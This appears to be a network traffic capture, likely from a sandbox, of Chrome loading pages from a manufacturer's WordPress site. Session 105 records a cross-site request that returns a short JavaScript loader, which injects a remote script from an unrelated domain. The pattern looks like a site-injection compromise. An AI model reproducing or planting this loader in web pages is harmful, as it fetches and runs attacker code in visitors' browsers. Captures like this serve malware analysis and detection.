2024-10-07 11:17:33 UTC	183	IN	Data Raw: 02 8c 7f 6c 98 ec 3c 33 f6 e6 51 38 1e 1c 39 c2 13 39 6b dd 95 69 d8 e0 3f d6 6c ee c6 39 70 ff 00 2e 39 76 ce ae 93 8e 9e de 3f 83 d7 f1 cc 21 3a 7e db 2e ca d6 33 8d c6 4f 41 fe 66 e3 c7 8f dd 1a df e8 3f ab 97 a7 8c 21 31 ff 00 2f 25 d3 c1 c9 66 3d 8e 9f 18 c6 79 67 6f c7 9c 6e ab 87 3f c2 10 9d 31 be 3e 6f dc cb d7 c1 e7 99 90 84 f4 1c c2 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 01 1e 10 8d 41 ff d9 Data Ascii: l<3Q899ki?l9p.9v?!:~.3OAf?!1/%f=ygon?1>o!!@B!!@B!!@B!!@B!!@A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49939	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:36 UTC	941	OUT	GET /products/aluminum-tailor-welded-blanks/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:36 UTC	377	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:36 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/?p=391>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 11:17:36 UTC	7815	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 11:17:36 UTC	8575	IN	Data Raw: 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e Data Ascii: timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"un
2024-10-07 11:17:36 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:36 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 Data Ascii: 4000mportant;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border
2024-10-07 11:17:36 UTC	8198	IN	Data Raw: 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 2d 2d 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 62 6f 64 79 20 23 70 72 69 6d 61 72 Data Ascii: tag/js?id=UA-13844840-1'></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config','UA-13844840-1');</script> --><style type="text/css">body #primar
2024-10-07 11:17:36 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:36 UTC	6923	IN	Data Raw: 31 61 66 65 0d 0a 3d 22 63 61 72 64 22 20 64 61 74 61 2d 6d 61 74 63 68 2d 68 65 69 67 68 74 3d 22 63 61 72 64 2d 6d 61 74 63 68 2d 68 65 69 67 68 74 22 3e 0a 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 23 64 6f 6f 72 2d 69 6e 6e 65 72 2d 77 69 74 68 2d 68 65 61 64 65 72 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 64 2d 69 6d 61 67 65 20 62 67 2d 69 6d 67 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 35 2f 30 38 Data Ascii: 1afe="card" data-match-height="card-match-height"><a href="https://www.twbcompany.com/applications/#door-inner-with-header"><div class="card-image bg-img" style="background-image: url(https://www.twbcompany.com/2016/wp-content/uploads/2015/08

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49940	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:36 UTC	907	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:37 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:37 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:37 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49941	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:36 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:37 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:37 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:37 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49946	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:37 UTC	894	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:37 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:37 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:37 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49945	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:37 UTC	890	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:37 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:37 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:37 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49953	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:37 UTC	927	OUT	GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:37 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:37 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:41:27 GMT Accept-Ranges: bytes Content-Length: 165619 Content-Type: image/jpeg
2024-10-07 11:17:37 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 32 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a 31 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: ExifII*Ducky<2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RD
2024-10-07 11:17:37 UTC	8000	IN	Data Raw: 2d da d1 ee 93 6c 00 4f 4c 74 bf 94 d7 e5 6b 0e d0 8a ef 87 1c 96 dc 01 ff 00 d9 d4 dd f2 b5 3f 28 e8 f6 f2 40 26 16 8c 34 38 5b 35 0a f1 6a 47 53 fc db 8c a6 3d 94 cd 36 de d2 44 52 5b 07 27 85 af b4 0e d4 73 cc 45 ca 97 1e 52 6f c4 9e da e2 d1 cc 06 46 5b b7 0f 13 9b 6c d2 d0 e2 17 02 62 18 01 56 e3 cb 35 97 c9 9c fb 5f 8a 71 7c 96 a2 26 b5 05 bf c2 b3 56 a4 5d 4e 26 3c fb 2a e8 6b f2 d5 6c dd a0 40 d6 b9 d0 19 50 27 f9 32 49 52 9c 22 fd 6c 2a 68 6b f2 46 cf 63 e6 27 95 6e f0 48 00 b6 d8 02 55 50 a7 97 c5 0d 3f 8f 98 3f 97 ca 4d 73 68 01 31 c7 03 51 0b 96 df 00 08 d5 ff 00 57 cb 1e ea 44 e3 e6 09 dd f2 90 dc 59 48 dd 4d 11 b9 a8 49 77 c3 f2 42 bf e1 e4 85 7b aa ee 8f 30 95 97 c8 99 ed 9b 83 5a d7 bd a5 0b 19 6e ae f7 b4 e5 e5 f3 c2 9b a3 cc 15 97 ca c7 Data Ascii: -lOLtk?(@&48[5jGS=6DR['sERoF[lbV5_q\|&V]N&<kl@P'2IR"lhkFc'nHUP??Msh1QWDYHMIwB{0Zn
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 0a cf ca 1b 0d e7 12 67 23 b7 cc 27 24 3f 5d 37 63 e1 36 e5 e5 57 e5 db 94 52 19 18 4b 65 1f 79 ae c4 a9 43 8d 6b 7e 32 ce cc a1 60 b5 df 1d fe 95 ea 7f 86 38 94 fa 45 4b c1 6b 32 7c 16 f3 98 91 fc ff 00 c4 e6 17 9d 5b c4 ac 91 d6 bb d6 82 0b de e6 11 e2 1a 94 10 8b f4 52 27 14 98 c8 91 41 bb 42 a2 13 23 43 ca b8 0e 60 a1 55 cb 3a b3 38 cf aa 44 65 1e 8b 44 5b ea a7 99 28 3d a4 73 4f a6 a7 f0 5f e6 9e 5e f8 9a b5 ca 72 c5 41 14 fe 27 f3 55 71 16 e9 28 02 7d 6e 03 25 19 28 55 c3 b2 b5 1b 63 d1 27 74 fa 9d af de 19 f8 4d d4 8c f0 8f 0a e5 db 52 b1 2f 23 6a df 49 23 f1 1a b9 23 40 e2 9c b9 d2 b0 5b c8 4b 37 c2 9e 29 71 c5 30 19 fe f5 3f 82 7f 25 62 d7 73 12 f9 ba 64 f3 1b e3 d6 71 25 02 e1 e8 ab 78 fa 25 64 b7 cc de f8 ba 41 cf c2 3e ca 95 8a de 48 1f be 64 Data Ascii: g#'$?]7c6WRKeyCk~2`8EKk2\|[R'AB#C`U:8DeD[(=sO_^rA'Uq(}n%(Uc'tMR/#jI##@[K7)q0?%bsdq%x%dA>Hd
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 5b ac 30 cf 61 b9 6e 4d b5 7b 03 a0 17 4e 6b 26 2a 31 50 58 0a 28 c1 6b 53 3e d3 10 cc 63 a5 dc af f8 fd f0 92 46 ed 78 a8 a0 f9 c1 39 a1 46 8e 18 52 e3 c4 2e df d4 4e e9 bb 21 2f dd 6f c8 54 09 70 49 21 73 40 39 1a 6e f8 84 db fa a8 9f 7c 9a da 3b 99 ef b7 bb e6 41 67 13 a7 2c 6d c3 8b a4 31 90 3c a6 1e 0f 7a 8d 15 2e 66 6a 23 f6 5d b1 11 ac 83 37 cb fb fb 68 2e ad ee b7 48 2d 1c 3c 11 5d dc bc 4c d7 1c 09 38 94 19 26 3d b5 a9 9a d2 a3 e8 cc 63 13 17 af d5 74 37 5b 8b 86 af cc af 02 fb a9 75 36 0b c3 3e 61 2a 5f c7 ec bb 60 ae 97 71 2d 2e f8 fb d7 93 8a ba e6 70 79 f0 77 2c 2a df c7 ec 9b 61 44 fd 45 71 b3 40 fd c8 de 5f 4c 62 73 61 6d b3 2e 65 2f 95 f2 64 d6 6a 71 e1 e2 27 82 52 37 4c d4 47 ec 4c 63 11 7f fc 99 bb 9d ee e1 1c 53 4f 77 7e c6 96 07 36 19 Data Ascii: [0anM{Nk&1PX(kS>cFx9FR.N!/oTpI!s@9n\|;Ag,m1<z.fj#]7h.H-<]L8&=ct7[u6>a_`q-.pyw,*aDEq@_Lbsam.e/djq'R7LGLcSOw~6
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 04 d2 c0 70 c7 8e 1c 2a c4 21 1b ba 17 46 c7 be 22 d7 39 a0 96 94 50 4f 0a b4 2c 66 e0 00 e2 3d 38 a5 05 8c dc d8 8a 41 4e 04 d0 13 b9 33 83 4e 39 52 82 fe 64 48 f7 3d b5 51 06 e2 47 dc f6 d0 03 b9 3d 7c 2d f6 d0 33 77 29 32 73 3d 46 8a 27 72 e6 df 4d 04 6e e0 32 cf bd 68 18 6e 68 46 08 1c ad 53 da 28 31 6d f7 db a4 42 7f 8e 95 b3 07 38 79 41 41 4e 79 22 04 e1 4b 46 97 6e 72 26 40 0e 65 4d 2d 47 f3 33 c8 1f 45 01 1b 8b fb 3d 54 13 f3 19 75 2a 05 1c 87 db 41 0e e3 27 77 66 90 68 07 c7 4d 82 10 3f 92 0f ef 52 95 3f 30 9f 15 19 76 0a 50 57 ee 17 2a 34 b4 b9 7b 80 a0 1f 19 31 21 da 4e 23 b3 0a 08 2f 24 cb 1a 0a 77 16 5c de 5a 79 2d 9d d0 bb 5e a6 bc 2e 2d 19 35 c0 21 c3 31 41 68 b8 98 10 dd 45 18 c0 0b ce 65 d9 63 40 0d e3 c1 0a ff 00 6d 14 c2 f9 e4 61 29 1c Data Ascii: p!F"9PO,f=8AN3N9RdH=QG=\|-3w)2s=F'rMn2hnhFS(1mB8yAANy"KFnr&@eM-G3E=TuA'wfhM?R?0vPW*4{1!N#/$w\Zy-^.-5!1AhEec@ma)
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 9d 0b a4 fa 58 48 af 85 c9 85 65 3f 2f a7 8e 77 0f 57 14 cd 20 b5 c4 94 50 e5 e5 ee 9f 62 1a cd 0b 8c a4 e0 0a 38 e1 e9 25 3f ac 2b 48 c7 b9 b4 cb 6a e2 14 16 91 23 41 c7 b5 3e 9a e9 c7 35 2e 79 c5 c2 fb 3b a1 35 a4 72 9c 7c 21 ae 1d ac c3 fa a6 a6 58 d4 ae 39 5c 2e d7 e1 21 c7 1f bc 4f f3 49 fa 0d 65 a4 f3 0e 41 41 38 28 c3 13 ff 00 48 50 73 b7 77 06 18 2e e3 88 17 c0 f0 55 38 38 aa 7f 38 11 5d 78 fd e1 cf 93 cb 73 67 85 c1 44 7a a3 20 10 10 7b a0 28 fe 89 35 ce 9d 2d 3c c8 5c 48 74 63 3e 41 13 dc 27 f9 a8 68 00 7c 6d 2b e5 f8 b3 20 73 5f ef 0f 6d 06 1b e9 22 b6 bd b7 bc 6c 7e 0d 5a 1f 86 6d 38 85 fe 49 23 d1 5d 30 d6 26 1c f2 d2 62 5d 0d 4c 0a b1 a8 1d 98 10 02 12 7b d8 45 73 75 42 e6 a1 05 a8 78 e1 99 3e 17 7b 50 d0 30 78 45 6b 48 71 c9 02 a1 f7 80 fe Data Ascii: XHe?/wW 